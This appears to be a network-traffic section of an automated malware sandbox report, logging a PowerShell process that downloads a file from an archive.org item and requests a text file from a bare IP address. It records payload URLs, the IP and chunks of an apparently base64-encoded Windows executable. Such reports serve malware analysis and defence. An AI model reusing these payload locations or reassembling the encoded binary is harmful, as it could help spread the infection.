                                                Oct 2, 2024 05:28:37.573817015 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.573828936 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.573868990 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.575742006 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.575758934 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.575809002 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.575818062 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.575855970 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.630368948 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.630388975 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.630480051 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.630505085 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.630551100 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.639730930 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.639748096 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.639878035 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.639888048 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.639938116 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.641663074 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.641678095 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.641740084 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.641748905 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.641793966 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.696856976 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.696873903 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.696959972 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.696974039 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.697024107 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.704261065 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.704276085 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.704339027 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.704346895 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.704391956 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.707225084 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.707241058 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.707325935 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.707334042 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.707387924 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.747683048 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.747714043 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.747788906 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.747797966 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.747831106 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.747853041 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.770721912 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.770744085 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.770880938 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.770910978 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.770961046 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.773911953 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.773930073 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.774034023 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.774051905 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.774118900 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.780205011 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.780234098 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.780284882 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.780313969 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.780332088 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.780354023 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.835781097 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.835808039 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.835947037 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.835984945 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.836031914 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.839226007 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.839246988 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.839313984 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.839339972 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.839412928 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.846441984 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.846458912 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.846524954 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.846549988 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.846590996 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.895941973 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.895962000 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.896058083 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.896090031 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.896133900 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.905159950 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.905179024 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.905257940 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.905284882 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.905329943 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.912872076 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.912889004 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.912966013 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.912992954 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.913031101 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.961802006 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.961827993 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.961870909 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.961913109 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.961950064 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.961967945 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.961968899 CEST44349706207.241.227.240192.168.2.9
                                                Oct 2, 2024 05:28:37.961997032 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.962024927 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:37.964818001 CEST49706443192.168.2.9207.241.227.240
                                                Oct 2, 2024 05:28:38.062633991 CEST4970780192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:38.067507029 CEST804970745.79.190.156192.168.2.9
                                                Oct 2, 2024 05:28:38.067611933 CEST4970780192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:38.067703962 CEST4970780192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:38.072429895 CEST804970745.79.190.156192.168.2.9
                                                Oct 2, 2024 05:28:59.416727066 CEST804970745.79.190.156192.168.2.9
                                                Oct 2, 2024 05:28:59.416862011 CEST4970780192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:59.422857046 CEST4970780192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:59.423294067 CEST4971080192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:59.427807093 CEST804970745.79.190.156192.168.2.9
                                                Oct 2, 2024 05:28:59.428090096 CEST804971045.79.190.156192.168.2.9
                                                Oct 2, 2024 05:28:59.428168058 CEST4971080192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:59.428263903 CEST4971080192.168.2.945.79.190.156
                                                Oct 2, 2024 05:28:59.433064938 CEST804971045.79.190.156192.168.2.9
                                                Oct 2, 2024 05:29:20.828885078 CEST804971045.79.190.156192.168.2.9
                                                Oct 2, 2024 05:29:20.828962088 CEST4971080192.168.2.945.79.190.156
                                                Oct 2, 2024 05:29:20.829050064 CEST4971080192.168.2.945.79.190.156
                                                Oct 2, 2024 05:29:20.833775997 CEST804971045.79.190.156192.168.2.9

                                                UDP Packets

                                                TimestampSource PortDest PortSource IPDest IP
                                                Oct 2, 2024 05:28:32.666646004 CEST6238353192.168.2.91.1.1.1
                                                Oct 2, 2024 05:28:32.815510988 CEST53623831.1.1.1192.168.2.9

                                                DNS Queries

                                                TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                Oct 2, 2024 05:28:32.666646004 CEST192.168.2.91.1.1.10x303fStandard query (0)ia600100.us.archive.orgA (IP address)IN (0x0001)false

                                                DNS Answers

                                                TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                Oct 2, 2024 05:28:32.815510988 CEST1.1.1.1192.168.2.90x303fNo error (0)ia600100.us.archive.org207.241.227.240A (IP address)IN (0x0001)false

                                                HTTP Request Dependency Graph

                                                • ia600100.us.archive.org
                                                • 45.79.190.156

                                                HTTP Packets

                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                0192.168.2.94970745.79.190.156807612C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                TimestampBytes transferredDirectionData
                                                Oct 2, 2024 05:28:38.067703962 CEST75OUTGET /560/WRDF.txt HTTP/1.1
                                                Host: 45.79.190.156
                                                Connection: Keep-Alive


                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                1192.168.2.94971045.79.190.156807612C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                TimestampBytes transferredDirectionData
                                                Oct 2, 2024 05:28:59.428263903 CEST75OUTGET /560/WRDF.txt HTTP/1.1
                                                Host: 45.79.190.156
                                                Connection: Keep-Alive


                                                HTTPS Proxied Packets

                                                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                0192.168.2.949706207.241.227.2404437612C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                TimestampBytes transferredDirectionData
                                                2024-10-02 03:28:33 UTC109OUTGET /24/items/detah-note-v/DetahNoteV.txt HTTP/1.1
                                                Host: ia600100.us.archive.org
                                                Connection: Keep-Alive
                                                2024-10-02 03:28:33 UTC606INHTTP/1.1 200 OK
                                                Server: nginx/1.24.0 (Ubuntu)
                                                Date: Wed, 02 Oct 2024 03:28:33 GMT
                                                Content-Type: text/plain; charset=utf-8
                                                Content-Length: 2823512
                                                Last-Modified: Wed, 11 Sep 2024 23:50:18 GMT
                                                Connection: close
                                                ETag: "66e22cba-2b1558"
                                                Strict-Transport-Security: max-age=15724800
                                                Expires: Wed, 02 Oct 2024 09:28:33 GMT
                                                Cache-Control: max-age=21600
                                                Access-Control-Allow-Origin: *
                                                Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With
                                                Access-Control-Allow-Credentials: true
                                                Accept-Ranges: bytes
                                                2024-10-02 03:28:33 UTC15778INData Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 42 6f 43 42 62 6f 41 41 41 41 41 41 41 41 41 41 4f 41 41 44 69 45 4c 41 54 41 41 41 45 59 67 41 41 41 49 41 41 41 41 41 41 41 41 76 6d 55 67 41 41 41 67 41 41 41 41 67 43 41 41 41 41 42 41 41 41 41 67 41 41 41 41 41 67 41
                                                Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDABoCBboAAAAAAAAAAOAADiELATAAAEYgAAAIAAAAAAAAvmUgAAAgAAAAgCAAAABAAAAgAAAAAgA
                                                2024-10-02 03:28:33 UTC16384INData Raw: 41 41 41 50 34 4d 45 77 42 46 41 67 41 41 41 41 55 41 41 41 41 31 41 41 41 41 4f 41 41 41 41 41 41 41 45 51 4d 52 46 78 45 49 63 35 73 46 41 41 5a 76 63 51 41 41 43 69 41 42 41 41 41 41 66 73 55 49 41 41 52 37 42 51 6b 41 42 44 6e 4a 2f 2f 2f 2f 4a 69 41 41 41 41 41 41 4f 4c 37 2f 2f 2f 38 41 41 4e 30 66 41 41 41 41 49 41 49 41 41 41 42 2b 78 51 67 41 42 48 73 53 43 51 41 45 4f 73 6e 36 2f 2f 38 6d 49 41 41 41 41 41 41 34 76 76 72 2f 2f 78 45 44 62 79 73 41 41 41 6f 57 50 6f 38 41 41 41 41 67 41 51 41 41 41 48 37 46 43 41 41 45 65 77 73 4a 41 41 51 36 6e 66 72 2f 2f 79 59 67 41 51 41 41 41 44 69 53 2b 76 2f 2f 45 67 63 6f 63 41 41 41 43 68 4d 49 49 41 55 41 41 41 42 2b 78 51 67 41 42 48 76 30 43 41 41 45 4f 6e 58 36 2f 2f 38 6d 49 41 59 41 41 41 41 34 61
                                                Data Ascii: AAAP4MEwBFAgAAAAUAAAA1AAAAOAAAAAAAEQMRFxEIc5sFAAZvcQAACiABAAAAfsUIAAR7BQkABDnJ////JiAAAAAAOL7///8AAN0fAAAAIAIAAAB+xQgABHsSCQAEOsn6//8mIAAAAAA4vvr//xEDbysAAAoWPo8AAAAgAQAAAH7FCAAEewsJAAQ6nfr//yYgAQAAADiS+v//EgcocAAAChMIIAUAAAB+xQgABHv0CAAEOnX6//8mIAYAAAA4a
                                                2024-10-02 03:28:33 UTC16384INData Raw: 2f 2f 2f 77 41 52 42 47 39 49 49 77 41 47 62 33 51 41 41 41 6f 54 42 53 41 46 41 41 41 41 4f 44 48 2f 2f 2f 38 41 4f 4e 73 41 41 41 41 67 43 41 41 41 41 44 67 45 41 41 41 41 2f 67 77 4d 41 45 55 67 41 41 41 41 4f 51 49 41 41 47 34 43 41 41 42 61 41 51 41 41 66 51 41 41 41 4d 73 43 41 41 43 4d 41 51 41 41 46 41 45 41 41 4a 77 44 41 41 43 55 41 41 41 41 41 51 4d 41 41 4c 77 41 41 41 41 57 41 41 41 41 33 41 49 41 41 4d 63 42 41 41 43 6a 41 51 41 41 53 67 49 41 41 41 55 41 41 41 43 62 41 67 41 41 58 67 41 41 41 49 45 42 41 41 41 38 41 51 41 41 61 77 45 41 41 42 30 44 41 41 44 38 41 41 41 41 66 77 49 41 41 4f 30 42 41 41 44 68 41 41 41 41 53 77 45 41 41 44 51 41 41 41 42 46 41 41 41 41 49 51 41 41 41 42 4d 43 41 41 41 34 4e 41 49 41 41 42 45 49 4f 6a 30 44 41
                                                Data Ascii: ///wARBG9IIwAGb3QAAAoTBSAFAAAAODH///8AONsAAAAgCAAAADgEAAAA/gwMAEUgAAAAOQIAAG4CAABaAQAAfQAAAMsCAACMAQAAFAEAAJwDAACUAAAAAQMAALwAAAAWAAAA3AIAAMcBAACjAQAASgIAAAUAAACbAgAAXgAAAIEBAAA8AQAAawEAAB0DAAD8AAAAfwIAAO0BAADhAAAASwEAADQAAABFAAAAIQAAABMCAAA4NAIAABEIOj0DA
                                                2024-10-02 03:28:33 UTC16384INData Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65
                                                Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
                                                2024-10-02 03:28:33 UTC16384INData Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41
                                                Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
                                                2024-10-02 03:28:33 UTC16384INData Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f
                                                Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
                                                2024-10-02 03:28:33 UTC16384INData Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f
                                                Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
                                                2024-10-02 03:28:33 UTC16384INData Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59
                                                Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
                                                2024-10-02 03:28:33 UTC16384INData Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41
                                                Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
                                                2024-10-02 03:28:34 UTC16384INData Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43
                                                Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC


                                                Statistics

                                                CPU Usage

                                                Click to jump to process

                                                Memory Usage

                                                Click to jump to process

                                                High Level Behavior Distribution

                                                Click to dive into process behavior distribution

                                                Behavior

                                                Click to jump to process

                                                System Behavior

                                                General

                                                Target ID:0
                                                Start time:23:28:25
                                                Start date:01/10/2024
